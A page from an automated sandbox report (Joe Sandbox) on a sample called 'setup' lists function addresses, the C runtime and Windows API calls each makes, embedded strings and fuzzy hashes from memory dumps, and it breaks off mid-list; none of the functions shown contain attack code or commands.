Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f5bcfe0c45ae0d11e7ebaa39cb8f413ea56cbd808b5d908a327e3d8197bd695
Instruction ID: a696524fa402c11ca353304b10b02efd8f02e8a327fd8eabdfb3f440944e5922
Opcode Fuzzy Hash: 5f5bcfe0c45ae0d11e7ebaa39cb8f413ea56cbd808b5d908a327e3d8197bd695
Instruction Fuzzy Hash: E1B1493BA043B49BC7209E29A4C055FB7D29BC5760F1AC656ECB89B791C335CD4A8BC1

Function 00C29590 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99c8b6917d1c2eecda03db1450d59f9128eecb46ab00d2bf6dcd6d3d41587087
Instruction ID: da2db2f6f06f09cefbe7e68de4731aa85ba3cb98fdee4e9ed542ef74c93c77fa
Opcode Fuzzy Hash: 99c8b6917d1c2eecda03db1450d59f9128eecb46ab00d2bf6dcd6d3d41587087
Instruction Fuzzy Hash: 64A15B7EF047698F9F118E7965C01EE77E3DFCA620F288252D820A7795C6749D06CBA0

Function 00DCA345 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8002cddf0912a3c4a4c14f9dabde380401963fb4ceedbd51d2a293b40520d5e8
Instruction ID: 82ca94b87fcb07accd18e64d7239a54d38d0f28241ae92fafc820fb0cbf45a71
Opcode Fuzzy Hash: 8002cddf0912a3c4a4c14f9dabde380401963fb4ceedbd51d2a293b40520d5e8
Instruction Fuzzy Hash: ECE08C32911268EBCB14DBDCC904E8AF3FCFB48B04B55009AB501D3110C270DE00CBE0

Function 00DCB314 Relevance: 19.6, APIs: 13, Instructions: 113
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___free_lconv_mon.LIBCMT ref: 00DCB358

Part of subcall function 00DCA770: _free.LIBCMT ref: 00DCA78D
Part of subcall function 00DCA770: _free.LIBCMT ref: 00DCA79F
Part of subcall function 00DCA770: _free.LIBCMT ref: 00DCA7B1
Part of subcall function 00DCA770: _free.LIBCMT ref: 00DCA7C3
Part of subcall function 00DCA770: _free.LIBCMT ref: 00DCA7D5
Part of subcall function 00DCA770: _free.LIBCMT ref: 00DCA7E7
Part of subcall function 00DCA770: _free.LIBCMT ref: 00DCA7F9
Part of subcall function 00DCA770: _free.LIBCMT ref: 00DCA80B
Part of subcall function 00DCA770: _free.LIBCMT ref: 00DCA81D
Part of subcall function 00DCA770: _free.LIBCMT ref: 00DCA82F
Part of subcall function 00DCA770: _free.LIBCMT ref: 00DCA841
Part of subcall function 00DCA770: _free.LIBCMT ref: 00DCA853
Part of subcall function 00DCA770: _free.LIBCMT ref: 00DCA865

_free.LIBCMT ref: 00DCB34D

Part of subcall function 00DC6EA7: HeapFree.KERNEL32(00000000,00000000,?,00DBDD0B), ref: 00DC6EBD
Part of subcall function 00DC6EA7: GetLastError.KERNEL32(?,?,00DBDD0B), ref: 00DC6ECF

_free.LIBCMT ref: 00DCB36F
_free.LIBCMT ref: 00DCB384
_free.LIBCMT ref: 00DCB38F
_free.LIBCMT ref: 00DCB3B1
_free.LIBCMT ref: 00DCB3C4
_free.LIBCMT ref: 00DCB3D2
_free.LIBCMT ref: 00DCB3DD
_free.LIBCMT ref: 00DCB415
_free.LIBCMT ref: 00DCB41C
_free.LIBCMT ref: 00DCB439
_free.LIBCMT ref: 00DCB451

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 17ac0c1d6b2f778eb9e6dafd7ae909834ddedf2260ab3973eea3695125a86996
Instruction ID: 6721da08f21824fb102794ac0f739ba6beaae7cfc4beb9744ecd990b3f2c7c40
Opcode Fuzzy Hash: 17ac0c1d6b2f778eb9e6dafd7ae909834ddedf2260ab3973eea3695125a86996
Instruction Fuzzy Hash: 05313BB56046469FEF25AA79E846F6A77E9EF40324F28841FF094D7152DB31EC40CA31

Function 00DC5F24 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00DC6043
CatchIt.LIBVCRUNTIME ref: 00DC61A2
_UnwindNestedFrames.LIBCMT ref: 00DC62A3
CallUnexpected.LIBVCRUNTIME ref: 00DC62BE

Strings

csm, xrefs: 00DC5F61
csm, xrefs: 00DC607A
csm, xrefs: 00DC5FCE

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: CallCatchFramesNestedUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2332921423-393685449
Opcode ID: fa32f586b7c43a5ee00eceea1a88f5a6507d6b5cdc28fcf28ef0c1fab41e6629
Instruction ID: 31a3c9a95a50658fd57789cfd9f5d521bf44344a2ad075f0f2390e7e15977ba3
Opcode Fuzzy Hash: fa32f586b7c43a5ee00eceea1a88f5a6507d6b5cdc28fcf28ef0c1fab41e6629
Instruction Fuzzy Hash: D6B1577180060AEFCF29DFA4D881EAEBBB5FF14310B18415EE8156B216D731EA51CBB5

Function 00DB7DE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00DB7E17
___except_validate_context_record.LIBVCRUNTIME ref: 00DB7E1F
_ValidateLocalCookies.LIBCMT ref: 00DB7EA8
__IsNonwritableInCurrentImage.LIBCMT ref: 00DB7ED3
_ValidateLocalCookies.LIBCMT ref: 00DB7F28

Strings

csm, xrefs: 00DB7EBD

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: cdb2fbe24314554b7c66b25c608803490422db3bbb3c4d91bf7979a70bfa0a48
Instruction ID: 8c89a2285f96e8d19753c42402436535fd9d8a4fe3cd69c0caeff611bedf5f4f
Opcode Fuzzy Hash: cdb2fbe24314554b7c66b25c608803490422db3bbb3c4d91bf7979a70bfa0a48
Instruction Fuzzy Hash: 12415434A0421ADBCF10DF68C885AEE7BA5EF85324F148195F8169B392D731ED05CBB1

Function 00C32630 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 105COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00C326B2

Strings

7*W, xrefs: 00C32680
8*W, xrefs: 00C32703
8*W, xrefs: 00C326D2
8*W, xrefs: 00C326E0

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: ___std_exception_copy
String ID: 7*W$8*W$8*W$8*W
API String ID: 2659868963-1031120574
Opcode ID: 341d1e9f0ccf3511d7a2d16691807a367ce35abb296b73b5eaf5276c49b558f9
Instruction ID: 69fb30f1eae8163c86bfa8251c640abafd99270522dbd9e6ad54b0479ccb004f
Opcode Fuzzy Hash: 341d1e9f0ccf3511d7a2d16691807a367ce35abb296b73b5eaf5276c49b558f9
Instruction Fuzzy Hash: 5D41A2B1604342EFCB108F24D891616BBE4FF86704F15896EE899CB796D334DD09CBA1

Function 00DCAB60 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DCAEC0: _free.LIBCMT ref: 00DCAEE5

_free.LIBCMT ref: 00DCABAE

Part of subcall function 00DC6EA7: HeapFree.KERNEL32(00000000,00000000,?,00DBDD0B), ref: 00DC6EBD
Part of subcall function 00DC6EA7: GetLastError.KERNEL32(?,?,00DBDD0B), ref: 00DC6ECF

_free.LIBCMT ref: 00DCABB9
_free.LIBCMT ref: 00DCABC4
_free.LIBCMT ref: 00DCAC18
_free.LIBCMT ref: 00DCAC23
_free.LIBCMT ref: 00DCAC2E
_free.LIBCMT ref: 00DCAC39

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 10f89baa2e0e33ddf7736a6c1844a4c53b43da7e62d178f93e44d7a4bdad20d8
Instruction ID: cfc8f8c56957924d61cc242d3cbe4a726d23407a958682d919b74a4b31fdf132
Opcode Fuzzy Hash: 10f89baa2e0e33ddf7736a6c1844a4c53b43da7e62d178f93e44d7a4bdad20d8
Instruction Fuzzy Hash: 8F113AB6640B09AADE20FBB5CC07FDB7B9DEF00708F41481DB299A7052DA75B50486B1

Function 00DC70A8 Relevance: 9.1, APIs: 6, Instructions: 128COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00DBBBC3,00DE77C8,0000000C), ref: 00DC70AD
_free.LIBCMT ref: 00DC710A
_free.LIBCMT ref: 00DC7140
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00DBBBC3,00DE77C8,0000000C), ref: 00DC714B
_free.LIBCMT ref: 00DC71B5
_free.LIBCMT ref: 00DC71E9

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: _free$ErrorLast
String ID:
API String ID: 3291180501-0
Opcode ID: 1f8124bf844130056d1f07490d41ecfc38a3ce4f2daf2005a8d962308946b820
Instruction ID: cdb16b05320c02188790474eacfd0679c60ee1d4f9be1039ee90a3b3adc0f678
Opcode Fuzzy Hash: 1f8124bf844130056d1f07490d41ecfc38a3ce4f2daf2005a8d962308946b820
Instruction Fuzzy Hash: D131D471B0DB536EDA2133749C97F2B2559EF45370B3C122DFA20DB2D2DA608C01AA70

Function 00DC565D Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00DC5654,00DC5E36,?,?,?,?,00DB78CD,?,?,?,?,?,00000000,00000000), ref: 00DC566B
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00DC5679
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00DC5692
SetLastError.KERNEL32(00000000,?,00DC5654,00DC5E36,?,?,?,?,00DB78CD,?,?,?,?,?,00000000,00000000), ref: 00DC56E4

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: dc25b972446e80066befaddf230cedb4d1facc07a7f15e15cf72bbb4188acbf7
Instruction ID: 5e6a6820bd4e9a6762a33bfacdc363cb26e09294540691e620953a7fee21a293
Opcode Fuzzy Hash: dc25b972446e80066befaddf230cedb4d1facc07a7f15e15cf72bbb4188acbf7
Instruction Fuzzy Hash: C7019E36249B17AFA72536B4BCC6E272A44EB01779764022EF510CA3F5EFA16851A270

Function 00DBBD35 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00DBBDBF,?,?,00DBBE40,?,?,?), ref: 00DBBD4A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00DBBD5D
FreeLibrary.KERNEL32(00000000,?,?,00DBBDBF,?,?,00DBBE40,?,?,?), ref: 00DBBD80

Strings

CorExitProcess, xrefs: 00DBBD55
mscoree.dll, xrefs: 00DBBD43

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f4806f1541cbff0464e09dbf1d529fbf244eff3a429ab5dde12716120f85b654
Instruction ID: feff011342436e85b28ac3c316052e51cf78dcac7d4ccc5c4d583a9d1059f167
Opcode Fuzzy Hash: f4806f1541cbff0464e09dbf1d529fbf244eff3a429ab5dde12716120f85b654
Instruction Fuzzy Hash: D2F08231900618FFDB21AB61DD09BED7E78EB00766F144061F402E52A0CBB4CE00DAB0

Function 00DCAA7C Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00DCAA94

Part of subcall function 00DC6EA7: HeapFree.KERNEL32(00000000,00000000,?,00DBDD0B), ref: 00DC6EBD
Part of subcall function 00DC6EA7: GetLastError.KERNEL32(?,?,00DBDD0B), ref: 00DC6ECF

_free.LIBCMT ref: 00DCAAA6
_free.LIBCMT ref: 00DCAAB8
_free.LIBCMT ref: 00DCAACA
_free.LIBCMT ref: 00DCAADC

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3b7397fd46872f4fc988a3668ab128c241c2c5678f6e4394394ec2cf4f3ba4ac
Instruction ID: f3eec5cd89665927f898d1c9955d51b5c0729ca6f06f56183f57e70466797163
Opcode Fuzzy Hash: 3b7397fd46872f4fc988a3668ab128c241c2c5678f6e4394394ec2cf4f3ba4ac
Instruction Fuzzy Hash: 21F0FFB650434AAB8E20EB69FAC6E1777DEEA44724778480FF059DB611C730FC808A75

Function 00DC6349 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00DC624F,?,?,00000000,00000000,00000000,?), ref: 00DC636E
CatchIt.LIBVCRUNTIME ref: 00DC6454

Strings

RCC, xrefs: 00DC6388
MOC, xrefs: 00DC6380

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 98e85d2e7d4f963e4920294951dc69ee6a02346b0bf15aaa0c299e99c1b2e77c
Instruction ID: c03424e82a75b4593af7d7f7da2bc8df95ee5e186bc5828edb5410d6485a6caa
Opcode Fuzzy Hash: 98e85d2e7d4f963e4920294951dc69ee6a02346b0bf15aaa0c299e99c1b2e77c
Instruction Fuzzy Hash: E041477190414AEFDF19DF98C981EEEBBB5EF48300F188159FA056B221D335D950DB61

Function 00DD18BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00DD195B,?,?,00000000,?,?,?,00DD1819,00000002,FlsGetValue,00DDB2F4,00DDB2FC), ref: 00DD18CC
GetLastError.KERNEL32(?,00DD195B,?,?,00000000,?,?,?,00DD1819,00000002,FlsGetValue,00DDB2F4,00DDB2FC,?,?,00DC567E), ref: 00DD18D6
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 00DD18FE

Strings

api-ms-, xrefs: 00DD18E3

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: ecbb260dd8ba664bd570a46b5d974078a2a394b3797d04db20872052cd448f9e
Instruction ID: 37beffd162d022f468d7af2d6a06c117d80d9542ed8102ae470ab1d154c6d216
Opcode Fuzzy Hash: ecbb260dd8ba664bd570a46b5d974078a2a394b3797d04db20872052cd448f9e
Instruction Fuzzy Hash: FAE04834780349BBDB202F51DD67B6D3B59EB00BD5F144021F90DEC2E0E7A1D9508974

Function 00DC5C4B Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00DC5D12
___AdjustPointer.LIBCMT ref: 00DC5D35
___AdjustPointer.LIBCMT ref: 00DC5DD1

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
